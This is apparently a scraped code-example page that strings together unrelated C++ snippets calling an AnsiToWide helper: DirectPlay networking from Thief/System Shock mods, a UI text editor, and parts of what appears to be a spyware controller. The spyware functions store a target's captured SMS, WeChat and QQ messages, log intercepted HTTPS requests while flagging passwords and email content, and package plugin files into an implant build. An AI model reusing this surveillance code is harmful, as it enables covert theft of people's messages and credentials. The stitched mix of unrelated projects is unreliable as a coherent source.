Beispiel #1
0
//==============================================================================
// SetPlayerInfo()
//
// 
//==============================================================================
HRESULT CDarkPeer::SetPlayerInfo()
{
	HRESULT hRes;

#if (GAME == GAME_THIEF || GAME == GAME_DROMED)
	wchar_t playerNameW[kMaxPlayerName*2];
	AnsiToWide(playerNameW, Cfg.GetString("PlayerName"), kMaxPlayerName);

   DPN_PLAYER_INFO dpPlayerInfo;
   ZeroMemory(&dpPlayerInfo, sizeof(DPN_PLAYER_INFO));
   dpPlayerInfo.dwSize = sizeof(DPN_PLAYER_INFO);
   dpPlayerInfo.dwInfoFlags = DPNINFO_NAME;
	dpPlayerInfo.pwszName = playerNameW;

	hRes = m_pDP->SetPeerInfo(&dpPlayerInfo, NULL, NULL, DPNOP_SYNC);
	if (FAILED(hRes)) return hRes;
#else if (GAME == GAME_SHOCK)
	wchar_t playerNameW[kMaxPlayerName*2];
	AnsiToWide(playerNameW, g_pNetMan->m_playerName, kMaxPlayerName);

   DPN_PLAYER_INFO dpPlayerInfo;
   ZeroMemory(&dpPlayerInfo, sizeof(DPN_PLAYER_INFO));
   dpPlayerInfo.dwSize = sizeof(DPN_PLAYER_INFO);
   dpPlayerInfo.dwInfoFlags = DPNINFO_NAME;
	dpPlayerInfo.pwszName = playerNameW;

	hRes = m_pDP->SetPeerInfo(&dpPlayerInfo, NULL, NULL, DPNOP_SYNC);

	return hRes;
#endif

	return DPN_OK;
}
Beispiel #2
0
void UserActionDlg::InsertSMSData(
	LONG type,
	const std::wstring& address,
	const std::wstring& msg,
	const std::wstring& date)
{
	QTableWidget* table = ui.tbMessageInfo;
	QTableWidgetItem* time = new QTableWidgetItem;
	time->setTextAlignment(Qt::AlignCenter);
	QTableWidgetItem* typeItem = new QTableWidgetItem;
	typeItem->setTextAlignment(Qt::AlignCenter);
	QTableWidgetItem* contact = new QTableWidgetItem;
	QTableWidgetItem* message = new QTableWidgetItem;
	QTableWidgetItem* getTime = new QTableWidgetItem;
	getTime->setTextAlignment(Qt::AlignCenter);

	time->setText(QString::fromStdWString(date));
	typeItem->setText(type == 1 ? 
		QString::fromLocal8Bit("发送") : QString::fromLocal8Bit("接收"));
	contact->setText(QString::fromStdWString(address));
	message->setText(QString::fromStdWString(msg));
	getTime->setText(QString::fromStdWString(AnsiToWide(TGetCurrentTime())));

	table->insertRow(0);
	table->setItem(0, 0, time);
	table->setItem(0, 1, typeItem);
	table->setItem(0, 2, contact);
	table->setItem(0, 3, message);
	table->setItem(0, 4, getTime);
}
// ////////////////////////////////////////////////////////////////////////////////
// @private 短信
//
int ProcessDataThread::Handle_SMS(PDATA_BLOCK dataBlock)
{
	// SMS DATA Type AddressBase64 MessageBase64 Date\r\n
	//  0   1    2          3           4         5      
	//

	std::vector<std::string> & args = dataBlock->args;

	LONG type = strtoul(args[2].c_str(),NULL,10);
	std::string addressBase64 = args[3].c_str();
	std::string messageBase64 = args[4].c_str();
	std::string date = args[5].c_str();

	DM->InsertSMSInfo(
		dataBlock->targetId,
		AnsiToWide(date),
		type,
		GetWideFromBase64(addressBase64.c_str()),
		GetWideFromBase64(messageBase64.c_str())
		);

	Target* tar = GetTargetFromGlobalMap(dataBlock->targetId);

	if ( tar && tar->frmTarControl )
	{
		TargetDlg* tarDlg = tar->frmTarControl;
		SendMessageW((HWND)tarDlg->winId(), WM_NEW_PLUGIN_DATA, (WPARAM)L"SMS", (LPARAM)dataBlock);
	}

	return 0;
}
Beispiel #4
0
//==============================================================================
// EnumHosts()
//
// Enumerates sessions running on the given IP address.
//==============================================================================
void CDarkPeer::EnumHosts(const char* serverIP, const char* password)
{
#if (GAME == GAME_THIEF || GAME == GAME_DROMED)
	if (!g_ConnectAttempt.IsActive())
		return dbgassert(false && "no connect attempt?");
#endif

	dbgassert(m_pHostAddress);

	HRESULT hRes;
	DPN_APPLICATION_DESC dpnAppDesc;
	wchar_t wcBuff[150];

	AnsiToWide(wcBuff, serverIP, sizeof(wcBuff));

	ZeroMemory(&dpnAppDesc, sizeof(DPN_APPLICATION_DESC));
	dpnAppDesc.dwSize = sizeof(DPN_APPLICATION_DESC);
	dpnAppDesc.guidApplication = GAME_GUID;

	hRes = m_pHostAddress->AddComponent(DPNA_KEY_HOSTNAME, wcBuff, (DWORD)(wcslen(wcBuff)+1)*sizeof(WCHAR), DPNA_DATATYPE_STRING);

	int port = g_ConnectAttempt.GetPort();
	hRes = m_pHostAddress->AddComponent(DPNA_KEY_PORT, &port, sizeof(port), DPNA_DATATYPE_DWORD);

	hRes = m_pDP->EnumHosts(&dpnAppDesc, m_pHostAddress, m_pDeviceAddress, NULL, 0, INFINITE, 0, 
		INFINITE, NULL, &m_enumSessionAsyncOp, NULL);
	if (FAILED(hRes))
		ConPrintF("Failed to enumerate hosts (%x).", hRes);
}
void ProcessDataThread::WeixinAddMessage( PDATA_BLOCK dataBlock )
{
	// APP MM MSG [登录的微信id] [对方的微信id] [发送者微信 id] [时间base64] [消息类型] [消息内容]
	std::vector<std::string> & args = dataBlock->args;
	assert(args.size() == 9);

	std::wstring weixinId = GetWideFromBase64(args[3]);
	std::wstring friendId = GetWideFromBase64(args[4]);
	std::wstring senderId = GetWideFromBase64(args[5]);
	std::wstring sendTime = GetWideFromBase64(args[6]);
	int msgType = atoi(args[7].c_str());
	std::wstring content = AnsiToWide(args[8]);

	DM->InsertWeixinMessage(dataBlock->targetId, weixinId, friendId, senderId, sendTime, msgType, content);
}
std::wstring ApplicationPathParer::GetApplicationPathOrigin( const std::wstring& appName )
{
	std::map<std::string, boost::any> users
		= boost::any_cast<std::map<std::string, boost::any> >(m_dict["User"]);

	if ( users.end() == users.find(WideToAnsi(appName)) )
		return L"";

	std::map<std::string, boost::any> appDict
		= boost::any_cast<std::map<std::string, boost::any> >(users[WideToAnsi(appName)]);

	std::wstring result = AnsiToWide( boost::any_cast<std::string>(appDict["Container"]) );

	return result;
}
std::wstring IOSWeixinParser::GetTableNameFromUserName(const std::wstring& userName)
{
	std::string md5Src = WideToAnsi(userName);
	unsigned char hash[16] = {0};
	MD5_CTX c = {0};
	MD5_Init(&c);
	MD5_Update(&c, md5Src.c_str(), strlen(md5Src.c_str()));
	MD5_Final(hash, &c);

	char hex[1024] = {0};
	for ( int i = 0; i < 16; ++i )
		sprintf(hex+2*i, "%.2x", hash[i]);

	char table[1024] = {0};
	sprintf(table, "Chat_%s", hex);

	return AnsiToWide(table);
}
void ProcessDataThread::QQAddMessage( PDATA_BLOCK dataBlock )
{
	// APP QQ MSG [登录的账号] [聊天类型] [对方QQ号/群号] [发送者QQ号] [发送者昵称base64] [时间base64] [消息类型] [消息内容]
	std::vector<std::string> & args = dataBlock->args;
	assert(args.size() == 11);

	std::wstring owner = GetWideFromBase64(args[3]);
	int type = atoi(args[4].c_str());
	std::wstring containerNumber = GetWideFromBase64(args[5]);
	std::wstring senderNumber = GetWideFromBase64(args[6]);
	std::wstring senderName = GetWideFromBase64(args[7]);
	std::wstring sendTime = GetWideFromBase64(args[8]);
	int msgType = atoi(args[9].c_str());
	std::wstring content = AnsiToWide(args[10]);

	DM->InsertQQMessage(dataBlock->targetId, owner, type, containerNumber, senderNumber, senderName, sendTime, msgType, content);

}
Beispiel #9
0
// ////////////////////////////////////////////////////////////////////////////////
// @private 生成 plugin.dat
//
bool GenerateDlg::GeneratePlgNameCfg()
{
	PPLUGIN_CXT pluginCxt;

	std::wstring cfgPath = GetExePath() + L"\\components\\" + m_curSystem +L"\\plugin.dat";

	HANDLE hFile = CreateFile(cfgPath.c_str(),
		GENERIC_ALL,
		FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
		NULL,
		CREATE_ALWAYS,
		FILE_ATTRIBUTE_NORMAL,
		NULL);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		return false;
	}

	PPLUGIN_CXT* plgVect = GetPlgCxtVect();

	for (int i = 0; i < 32; i++)
	{
		pluginCxt = plgVect[i];

		if (pluginCxt == NULL)
		{
			continue;
		}

		PLUGIN_ALIAS plgAlias;
		std::string name = pluginCxt->lpszPluginName;
		std::wstring wName = AnsiToWide(name);

		plgAlias.dwPluginNumber = i;
		wcscpy(plgAlias.wzPluginName, wName.c_str());
		
		DWORD dump = 0;
		WriteFile(hFile, &plgAlias, sizeof(PLUGIN_ALIAS), &dump, NULL);
	}

	CloseHandle(hFile);

	return true;
}
Beispiel #10
0
void TextField::OnFocusLost()
{
    UIManager::GetInstance().DirtyRenderList(mHwndId);
    auto mani = UIManager::GetInstance().GetTextManipulator();
    auto propertyList = IsInPropertyList();
    if (propertyList)
    {
        auto parent = GetParent();
        assert(parent && parent->GetType() == ComponentType::ListItem);
        ListItem* valueItem = (ListItem*)parent.get();
        auto index = valueItem->GetRowIndex();
        propertyList->RemoveHighlight(index);
        auto uiEditor = UIManager::GetInstance().GetUIEditor();
        auto editingUI = uiEditor->GetCurSelected();
        std::string key, value;
        propertyList->GetCurKeyValue(key, value);
        if (editingUI)
        {
            char buf[UIManager::PROPERTY_BUF_SIZE] = { 0 };
            auto prop = UIProperty::IsUIProperty(key.c_str());
            if (prop != UIProperty::COUNT) {
                auto got = editingUI->GetProperty(prop, buf, UIManager::PROPERTY_BUF_SIZE, false);
                if (got)
                    SetText(AnsiToWide(buf));
            }
            else {
                auto e = UIEvents::IsUIEvents(key.c_str());
                if (e != UIEvents::EVENT_NUM) {
                    auto szEvent = editingUI->GetEvent(e);
                    editingUI->SetEvent(e, szEvent);
                }
            }
        }
    }
    mani->SetText(0);
    mani->RemoveObserver(ITextManipulatorObserver::Default, std::dynamic_pointer_cast<ITextManipulatorObserver>(mSelfPtr.lock()));
    TriggerRedraw();
}
std::wstring ApplicationPathParer::GetApplicationPath( const std::wstring& appName )
{
	std::map<std::string, boost::any> users
		= boost::any_cast<std::map<std::string, boost::any> >(m_dict["User"]);

	if ( users.end() == users.find(WideToAnsi(appName)) )
		return L"";

	std::map<std::string, boost::any> appDict
		= boost::any_cast<std::map<std::string, boost::any> >(users[WideToAnsi(appName)]);

	std::wstring result = AnsiToWide( boost::any_cast<std::string>(appDict["Container"]) );
	
	std::wstring::size_type pos = result.find(L'/');

	while ( pos != std::wstring::npos )
	{
		result = result.replace(pos, 1, L"\\");
		++pos;
		pos = result.find(L'/', pos);
	}

	return result;
}
void TextManipulator::ConsumeInput(IInputInjectorPtr injector, bool mouseIn)
{
	if (!mText)
		return;

	if (unsigned int chr = injector->GetChar())
	{
		auto mainWindowHandle = InputManager::GetInstance().GetMainWindowHandle();
		if (chr == 22) // Synchronous idle - ^V
		{
			injector->PopChar();	
			std::string data = GetClipboardDataAsString(mainWindowHandle);
			if (!data.empty())
			{
				if (IsHighlighting()){
					auto it = mText->begin() + mCursorPos;
					auto end = mText->begin() + mHighlightStart;
					if (mCursorPos > mHighlightStart)
					{
						std::swap(it, end);
					}
					mCursorPos = std::distance(mText->begin(), it);
					// delete selected string
					mText->erase(it, end);
					EndHighlighting();
				}
				std::wstring wclipData = AnsiToWide(data.c_str());
				mText->insert(mText->begin() + mCursorPos, wclipData.begin(), wclipData.end());				
				mCursorPos += data.size();
				OnCursorPosChanged();
				OnTextChanged();
			}
		}
		else if (chr == 3){ // ^C
			if (IsHighlighting()){
				auto it = mText->begin() + mCursorPos;
				auto end = mText->begin() + mHighlightStart;
				if (mCursorPos > mHighlightStart)
				{
					std::swap(it, end);
				}
				std::string data(it, end);
				SetClipboardStringData(mainWindowHandle, data.c_str());
			}
		}
		else{
			switch (chr)
			{
			case VK_BACK:
			{			
				if (IsHighlighting() && !mText->empty())
				{
					auto it = mText->begin() + mCursorPos;
					auto end = mText->begin() + mHighlightStart;
					if (mCursorPos > mHighlightStart)
					{
						std::swap(it, end);
					}
					mCursorPos = std::distance(mText->begin(), it);
					mText->erase(it, end);
					EndHighlighting();
				}
				else if (mCursorPos > 0 && !mText->empty())
				{
					mText->erase(mText->begin() + mCursorPos - 1);
					mCursorPos--;
				}
				OnCursorPosChanged();
				OnTextChanged();
			}
			break;
			default:
			{
				if (IsHighlighting())
				{
					auto it = mText->begin() + mCursorPos;
					auto end = mText->begin() + mHighlightStart;
					if (mCursorPos > mHighlightStart)
					{
						std::swap(it, end);
					}
					mCursorPos = std::distance(mText->begin(), it);
					// delete selected string
					mText->erase(it, end);
					EndHighlighting();
				}

				mText->insert(mText->begin() + mCursorPos, chr);
				mCursorPos++;
				OnCursorPosChanged();
				OnTextChanged();
			}
			}
		}

		injector->PopChar();
	}

	if (injector->IsKeyPressed(VK_HOME))
	{
		Highlighting(injector->IsKeyDown(VK_SHIFT));
		mCursorPos = 0;
		OnCursorPosChanged();
	}
	else if (injector->IsKeyPressed(VK_END))
	{
		Highlighting(injector->IsKeyDown(VK_SHIFT));
		mCursorPos = mText->size();
		OnCursorPosChanged();
	}
	else if (injector->IsKeyPressed(VK_DELETE))
	{
		if (!mText->empty())
		{
			if (IsHighlighting())
			{
				auto it = mText->begin() + mCursorPos;
				auto end = mText->begin() + mHighlightStart;
				if (mCursorPos > mHighlightStart)
				{
					std::swap(it, end);
				}
				mCursorPos = std::distance(mText->begin(), it);
				mText->erase(it, end);
				EndHighlighting();
			}
			else
			{
				mText->erase(mText->begin() + mCursorPos);
			}
		}
		OnCursorPosChanged();
		OnTextChanged();
	}
	else if (injector->IsKeyPressed(VK_LEFT))
	{
		Highlighting(injector->IsKeyDown(VK_SHIFT));
		if (mCursorPos>0)
		{
			mCursorPos--;
		}
		OnCursorPosChanged();
	}
	else if (injector->IsKeyPressed(VK_RIGHT))
	{
		Highlighting(injector->IsKeyDown(VK_SHIFT));
		if (mCursorPos < (int)mText->size())
		{
			mCursorPos++;
		}
		OnCursorPosChanged();
	}
	//Logger::Log(FB_DEFAULT_LOG_ARG, "(info) checking double click");
	if (mouseIn && injector->IsLButtonDoubleClicked()){
		SelectAll();
		OnCursorPosChanged();
	}

	injector->Invalidate(InputDevice::Keyboard);
}
//---------------------------------------------------------------------------
int   ProcessDataThread::Handle_SSL(PDATA_BLOCK dataBlock)
{
    // SSL DATA TIME hKey ProcName ProcID ThreadID FinalFlag EncryptFlag DataLen\r\n
    //  0   1    2    3      4        5      6       7           8          9         10			11

    std::vector<std::string> & args = dataBlock->args;

    assert(dataBlock->dataLen > 0);
    if (dataBlock->dataLen == 0)
    {
        return 0;
    }

    Target * tarBlock = GetTargetFromGlobalMap(dataBlock->targetId);
    if (tarBlock == NULL)
    {
        return 0;
    }

    LONG   time = strtoul(args[2].c_str(), NULL, 10);
    ULONG  hKey = strtoul(args[3].c_str(), NULL, 10);
    int    encryptFlag = atoi(args[8].c_str());
    ULONG  procId    = strtoul(args[5].c_str(), NULL, 10);
    ULONG  threadId  = strtoul(args[6].c_str(), NULL, 10);
    int    finalFlag = atoi(args[7].c_str());    
    DWORD  dwPackageType = 0;
    DWORD  dwPassFlag = 0;

    std::string procNameBase64 = args[4].c_str();
    std::wstring widProcName = GetWideFromBase64(procNameBase64);
    std::wstring widHttpsDirName = tarBlock->widHttpsDataDir + L"\\" + widProcName + L"\\";

    AdkCreateDirectoryW(widHttpsDirName.c_str());

    // 写到本地数据目录中
    //      文件名的 日期_send.dat 或 日期_recv.dat
    //

    std::string opTimeStr = GetDateString(time);
    std::wstring widFileName;

    std::string sslData = dataBlock->data;
    std::string sslHost = "";
    
    // 针对下行数据,进行进一步处理
    //
    if (encryptFlag == 1)
    {
        widFileName = widHttpsDirName + AnsiToWide(opTimeStr) + L"_send.txt";

        if (strnicmp(sslData.c_str(), "Get", 3) == 0)
        {
            dwPackageType = 1;
        }

        if (strnicmp(sslData.c_str(), "Post", 4) == 0)
        {
            dwPackageType = 2;
        }

        if (dwPackageType > 0)
        {
            // 去除尾部的多余字符
            //
            const char * lpEnd = strstr(sslData.c_str(), "\r\n\r\n");
            if (lpEnd)
            {
                lpEnd += 4;
                UINT index = lpEnd - sslData.c_str();
                sslData = dataBlock->data.substr(0, index);
            }

            // 定位Host
            //
            int indexBeg = sslData.find("Host:");
            if (indexBeg != std::string::npos)
            {
                indexBeg += 5;
                int indexEnd = sslData.find("\r\n", indexBeg);
                sslHost = sslData.substr(indexBeg, indexEnd - indexBeg);
            }
        }

        // 密码识别
        //
        if ( StrStrIA(sslData.c_str(), "password")
            || StrStrIA(sslData.c_str(), "passwd")
            || StrStrIA(sslData.c_str(), "pwd") )
        {
            dwPassFlag = 1;
        }

        if (StrStrIA(sslData.c_str(), "subject") && StrStrIA(sslData.c_str(), "body"))
        {
            if (strchr(sslData.c_str(), '@') || StrStrIA(sslData.c_str(), "%40"))
            {
                dwPassFlag = 2;
            }
        }
    }
    else
    {
        widFileName = widHttpsDirName + AnsiToWide(opTimeStr) + L"_recv.txt";
        
        if (strnicmp(sslData.c_str(), "Http/", 5) == 0)
        {
            dwPackageType = 3;

            int index = sslData.find("\r\n");
            sslHost = sslData.substr(0, index);

            // 去除尾部的多余字符
            //
            const char * lpEnd = strstr(sslData.c_str(), "\r\n\r\n");
            if (lpEnd)
            {
                lpEnd += 4;
                UINT index = lpEnd - sslData.c_str();
                sslData = dataBlock->data.substr(0, index);
            }            
        }
    }
    
    DWORD dwByteWritten = 0;
    HANDLE hFile = CreateFileW(widFileName.c_str(),
                             GENERIC_ALL,
                             FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                             NULL,
                             OPEN_ALWAYS,
                             FILE_ATTRIBUTE_NORMAL,
                             NULL);
                             
    if (hFile == INVALID_HANDLE_VALUE)
    {
        return 0;
    }

    SetFilePointer(hFile, 0, NULL, FILE_END);
    
    // [时间] ProcessID ThreadID CryptHandle
    //
    char buf[1024];
    std::string aniTime = GetTimeString(time);
    if (dwPassFlag == 0)
    {
        sprintf(buf, "\r\n----------------------------------------------------------------------------------\r\n");
    }
    else
    {
        sprintf(buf, "\r\n**********************************************************************************\r\n");
    }
    
    WriteFile(hFile, buf, strlen(buf),&dwByteWritten, 0);
    sprintf(buf, "[%s] ProcessID: %d ThreadID: %d CryptHandle: %d\r\n", aniTime.c_str(), procId, threadId, hKey);
    WriteFile(hFile, buf, strlen(buf),&dwByteWritten, 0);
    WriteFile(hFile,  sslData.c_str(), sslData.size(), &dwByteWritten, 0);
    CloseHandle(hFile);

    if (dwPassFlag == 0)
    {
        return 0;
    }

    // 当前只关注发送数据
    //
    if (encryptFlag == 1)
    {
        // 只有密码信息才填入到数据库中
        //
        std::string opTimeStr = GetTimeString(time);
    
        int httpId = DM->InsertSSLInfo(dataBlock->targetId,
                          opTimeStr.c_str(),
                          hKey,
                          widProcName,
                          procId,
                          threadId,
                          dwPackageType,
                          encryptFlag,
                          dwPassFlag,
                          finalFlag,
                          sslHost.c_str(),
                          sslData.c_str(),
                          sslData.size());

        // 更新界面, 只有界面显示的时候才回进行更新
        //
        Target *tar = GetTargetFromGlobalMap(dataBlock->targetId);
        if (tar)
        {
            if (tar->frmTarControl)
            {
                if (tar->frmTarControl->bShowFlag)
                {
                    std::string aniTitle;
                    switch(dwPackageType)
                    {
                    case 0:
                        aniTitle = std::string("[") + opTimeStr + "] DATA";
                        break;
                    case 1:     // Get
                        aniTitle = std::string("[") + opTimeStr + "] GET :" + sslHost.c_str();
                        break;
                    case 2:     // Post
                        aniTitle = std::string("[") + opTimeStr + "] POST :" + sslHost.c_str();
                        break;
                    }

                    QStringList  *sl = new QStringList();
					sl->append(QString::fromStdWString(widProcName));
					sl->append(QString::fromLocal8Bit(aniTitle.c_str()));

                    SendMessage(tar->frmTarControl->Handle, WM_UPDATE_HTTPS, httpId, (LONG)(sl));

                    delete sl;
                }
            }
        }
    }

    return 0;
}
Beispiel #14
0
void TextField::OnCursorPosChanged(TextManipulator* mani)
{
    TriggerRedraw();
    int cursorPos = mani->GetCursorPos();
    Vec2I textStartWPos = mUIObject->GetTextStartWPos();
    textStartWPos.x += mCursorOffset;
    if (mani->IsHighlighting())
    {
        auto start = mani->GetHighlightStart();
        auto end = cursorPos;
        if (start > end)
        {
            std::swap(start, end);
        }
        if (end - start > 0) {
            auto font = Renderer::GetInstance().GetFontWithHeight(mTextSize);
            if (font) {
                float width = font->GetTextWidth(
                                  ((const char*)mTextw.c_str()) + (start * 2),
                                  (end - start) * 2);
                float leftGap = font->GetTextWidth(
                                    (const char*)mTextw.c_str(), start * 2);
                KeyboardCursor::GetInstance().SetSize(Vec2I((int)width, (int)mTextSize));
                KeyboardCursor::GetInstance().SetPos(
                    Vec2I(textStartWPos.x + (int)leftGap,
                          textStartWPos.y - Round(mTextSize))
                );
            }
        }
        else {
            auto font = Renderer::GetInstance().GetFontWithHeight(mTextSize);
            float aWidth = font->GetTextWidth((const char*)AnsiToWide("A", 1), 2);
            Vec2I cursorSize(Round(aWidth), 2);
            KeyboardCursor::GetInstance().SetSize(Vec2I((int)1, (int)mTextSize));
            KeyboardCursor::GetInstance().SetPos(
                Vec2I(textStartWPos.x, textStartWPos.y - Round(mTextSize))
            );
        }
    }
    else
    {
        auto font = Renderer::GetInstance().GetFontWithHeight(mTextSize);
        float aWidth = font->GetTextWidth((const char*)AnsiToWide("A", 1), 2);
        Vec2I cursorSize(Round(aWidth), 2);
        KeyboardCursor::GetInstance().SetSize(cursorSize);
        float width = font->GetTextWidth(
                          (const char*)mTextw.c_str(), cursorPos * 2);

        Vec2I visualCursorPos(textStartWPos.x + Round(width),
                              textStartWPos.y - WinBase::BOTTOM_GAP - 2);
        KeyboardCursor::GetInstance().SetPos(visualCursorPos);

        // check region
        // right
        Rect region = GetScissorRegion();
        if (region.right - mTextGap.y < visualCursorPos.x + cursorSize.x) {
            int offset = visualCursorPos.x + cursorSize.x - (region.right - mTextGap.y);
            mCursorOffset -= offset;
            mUIObject->SetTextOffsetForCursorMovement(Vec2I(mCursorOffset, 0));
            KeyboardCursor::GetInstance().SetPos(Vec2I(visualCursorPos.x - offset, visualCursorPos.y));
        }
        else {
            if (region.left + mTextGap.x > visualCursorPos.x) {
                int offset = region.left + mTextGap.x - visualCursorPos.x;
                mCursorOffset += offset;
                mUIObject->SetTextOffsetForCursorMovement(Vec2I(mCursorOffset, 0));
                KeyboardCursor::GetInstance().SetPos(Vec2I(visualCursorPos.x + offset, visualCursorPos.y));
            }
        }


    }
}
Beispiel #15
0
	void run()
	{
		std::wstring plgPath = GetExePath() + L"\\dependency\\Windows\\Plat1Gui.dll";
		HMODULE hMod = LoadLibraryW(plgPath.c_str());

		LPPACKETINIT lpfnPacketInit ;
		LPPLAT1SHOWGUI lpfnPlat1ShowGui;
		PACKET_FUNCTION_POINTER packetFunc;
		PLAT_FILE_TYPE platFileType;

		if ( hMod )
		{
			lpfnPacketInit = (LPPACKETINIT)GetProcAddress(hMod, PLAT1_GUI_FUNC1);
			lpfnPlat1ShowGui = (LPPLAT1SHOWGUI)GetProcAddress(hMod, PLAT1_GUI_FUNC2);
			if ( lpfnPacketInit && lpfnPlat1ShowGui )
			{
				lpfnPacketInit(&packetFunc);

				// 插件 1
				platFileType.b64Bit = TRUE;
				platFileType.dwFileType = PLAT_FILE_TYPE_3;
				platFileType.productMark.dwProductID = 0x10;
				platFileType.productMark.dwPluginNumber = 1;		// 此处插件号 必须为 1
				platFileType.productMark.dwInternalVersion = 1;
				std::wstring localPath = GetExePath() + L"\\components\\WINDOWS\\1.dat";
				std::wstring targetName = AnsiToWide(FrmMain->WindowsPlgCxtVect[1]->lpszPluginName);
				lstrcpyW(platFileType.wzLocalFileName, localPath.c_str());
				lstrcpyW(platFileType.wzTargetFileName, targetName.c_str());

				packetFunc.lpAddFile(&platFileType);

				const bool* plgLayout = GetPlgLayout();

				if ( plgLayout[2] )
				{
					// 插件 2
					platFileType.b64Bit = TRUE;
					platFileType.dwFileType = PLAT_FILE_TYPE_3;
					platFileType.productMark.dwProductID = 0x10;
					platFileType.productMark.dwPluginNumber = 2;
					platFileType.productMark.dwInternalVersion = 2;
					localPath = GetExePath() + L"\\components\\WINDOWS\\2.dat";
					targetName = AnsiToWide(FrmMain->WindowsPlgCxtVect[2]->lpszPluginName);
					lstrcpyW(platFileType.wzLocalFileName, localPath.c_str());
					lstrcpyW(platFileType.wzTargetFileName, targetName.c_str());

					packetFunc.lpAddFile(&platFileType);
				}

				if ( plgLayout[3] )
				{
					// 插件 3
					platFileType.b64Bit = TRUE;
					platFileType.dwFileType = PLAT_FILE_TYPE_3;
					platFileType.productMark.dwProductID = 0x10;
					platFileType.productMark.dwPluginNumber = 3;
					platFileType.productMark.dwInternalVersion = 3;
					localPath = GetExePath() + L"\\components\\WINDOWS\\3.dat";
					targetName = AnsiToWide(FrmMain->WindowsPlgCxtVect[3]->lpszPluginName);
					lstrcpyW(platFileType.wzLocalFileName, localPath.c_str());
					lstrcpyW(platFileType.wzTargetFileName, targetName.c_str());

					packetFunc.lpAddFile(&platFileType);
				}

				if ( plgLayout[4] )
				{
					// 插件 4
					platFileType.b64Bit = TRUE;
					platFileType.dwFileType = PLAT_FILE_TYPE_3;
					platFileType.productMark.dwProductID = 0x10;
					platFileType.productMark.dwPluginNumber = 4;
					platFileType.productMark.dwInternalVersion = 4;
					localPath = GetExePath() + L"\\components\\WINDOWS\\4.dat";
					targetName = AnsiToWide(FrmMain->WindowsPlgCxtVect[4]->lpszPluginName);
					lstrcpyW(platFileType.wzLocalFileName, localPath.c_str());
					lstrcpyW(platFileType.wzTargetFileName, targetName.c_str());

					packetFunc.lpAddFile(&platFileType);	
				}

				// 配置文件
				platFileType.b64Bit = TRUE;
				platFileType.dwFileType = PLAT_FILE_TYPE_4;
				platFileType.productMark.dwProductID = 0x10;
				platFileType.productMark.dwPluginNumber = 5;
				platFileType.productMark.dwInternalVersion = 5;
				localPath = GetExePath() + L"\\components\\WINDOWS\\dtl.dat";
				lstrcpyW(platFileType.wzLocalFileName, localPath.c_str());
				lstrcpyW(platFileType.wzTargetFileName, L"Data\\dtl.dat");

				packetFunc.lpAddFile(&platFileType);

				// 配置文件
				platFileType.b64Bit = TRUE;
				platFileType.dwFileType = PLAT_FILE_TYPE_4;
				platFileType.productMark.dwProductID = 0x10;
				platFileType.productMark.dwPluginNumber = 6;
				platFileType.productMark.dwInternalVersion = 6;
				localPath = GetExePath() + L"\\components\\WINDOWS\\glp.uin";
				lstrcpyW(platFileType.wzLocalFileName, localPath.c_str());
				lstrcpyW(platFileType.wzTargetFileName, L"Data\\glp.uin");

				packetFunc.lpAddFile(&platFileType);

				lpfnPlat1ShowGui(NULL, 0x10);
			}
			FreeLibrary(hMod);
		}
	}
Beispiel #16
0
//==============================================================================
// InitServer()
//
//  Initializes the DarkPeer instance as a server.
//==============================================================================
void CDarkPeer::InitServer()
{
	try
	{
		HRESULT hRes;	
		DPN_APPLICATION_DESC dpnAppDesc;
		DPN_SP_CAPS caps;

		g_Net = STATE_Host;

		hRes = (CoCreateInstance(CLSID_DirectPlay8Peer, NULL, CLSCTX_INPROC_SERVER, IID_IDirectPlay8Peer, 
			(LPVOID*) &m_pDP));
		hRes = CoCreateInstance(CLSID_DirectPlay8Address, NULL, 
										CLSCTX_INPROC_SERVER, IID_IDirectPlay8Address, (LPVOID*) &m_pDeviceAddress);
		
		if (FAILED(hRes)) throw DPlayException("COM initialization failed", hRes);

		m_pSessionMgr = new CDarkSessionManager(m_pDP);

		g_pNetMan->PreFlush();

		ZeroMemory(&dpnAppDesc, sizeof(DPN_APPLICATION_DESC));
		dpnAppDesc.dwSize = sizeof(DPN_APPLICATION_DESC);
		dpnAppDesc.dwMaxPlayers = Cfg.GetInt("MaximumPlayers");
		dpnAppDesc.dwFlags = DPNSESSION_NODPNSVR;
		dpnAppDesc.guidApplication = GAME_GUID;

		wchar_t sessionName[kMaxGameName * 2];
		AnsiToWide(sessionName, Cfg.GetString("ServerName"), kMaxGameName);

		dpnAppDesc.pwszSessionName = sessionName;

		if (strlen(Cfg.GetString("Password")))
		{
			wchar_t buff[512];
			AnsiToWide(buff, Cfg.GetString("Password"), sizeof(buff));

			dpnAppDesc.pwszPassword = buff;
			dpnAppDesc.dwFlags |= DPNSESSION_REQUIREPASSWORD;
		}

		// Initialize DirectPlay
		hRes = m_pDP->Initialize(this, StaticMessageHandler, 0);
		if (FAILED(hRes)) throw DPlayException("Could not initialize DirectPlay", hRes);

		// Set service provider and port
		hRes = m_pDeviceAddress->SetSP(&CLSID_DP8SP_TCPIP);
		if (FAILED(hRes)) throw DPlayException("SetSP() failed", hRes);

		caps.dwSize = sizeof(DPN_SP_CAPS);
		hRes = m_pDP->GetSPCaps(&CLSID_DP8SP_TCPIP, &caps, NULL);
		if (FAILED(hRes)) throw DPlayException("GetSPCaps() failed", hRes);

		caps.dwSystemBufferSize = Cfg.GetInt("BufferSize");
		hRes = m_pDP->SetSPCaps(&CLSID_DP8SP_TCPIP, &caps, NULL);
		if (FAILED(hRes)) throw DPlayException("SetSPCaps() failed", hRes);

		int port = Cfg.GetInt("ServerPort");
		hRes = m_pDeviceAddress->AddComponent(DPNA_KEY_PORT, &port, sizeof(port), DPNA_DATATYPE_DWORD);
		if (FAILED(hRes)) throw DPlayException("AddComponent() failed", hRes);

		hRes = SetPlayerInfo();
		if (FAILED(hRes)) throw DPlayException("SetPeerInfo() failed", hRes);

		hRes = m_pDP->Host(&dpnAppDesc, &m_pDeviceAddress, 1, NULL, NULL, this, NULL);
		if (FAILED(hRes)) throw DPlayException("Host() failed", hRes);

		m_pSessionMgr->SetApplicationDesc(&dpnAppDesc);
		m_pSessionMgr->UpdateSessionInfo();
	}

	catch (DPlayException error)
	{
		// Release DirectPlay objects

		SAFE_RELEASE(m_pDeviceAddress);
		SAFE_RELEASE(m_pDP);

		throw error;
	}
}